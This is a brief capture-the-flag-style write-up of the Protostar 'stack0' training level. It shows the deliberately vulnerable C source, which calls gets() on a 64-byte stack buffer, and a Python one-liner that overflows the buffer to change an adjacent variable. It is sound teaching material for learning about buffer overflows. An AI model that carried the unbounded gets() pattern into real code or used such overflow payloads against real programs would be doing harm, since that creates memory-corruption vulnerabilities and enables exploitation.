stack0

TL;DR -> python -c "print 'A'*(4 + 16*3 + 14)" | ./stack0

Stack0

URL: https://exploit.education/protostar/stack-zero/ This level introduces the concept that memory can be accessed outside of its allocated region, how the stack variables are laid out, and that modifying outside of the allocated memory can modify program execution.

This level is at /opt/protostar/bin/stack0

Source code

#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  modified = 0;
  gets(buffer);

  if(modified != 0) {
      printf("you have changed the 'modified' variable\n");
  } else {
      printf("Try again?\n");
  }
}

Writeup

When we run the binary, it is asking for input

As we can see 0x41414141 and 0x00000000, there are total 4 + (4*4)*3 + (4*3 + 2) bytes

One liner solution:

python -c "print 'A' * (4 + (4*4)*3 + (4*3 + 2))" | ./stack0

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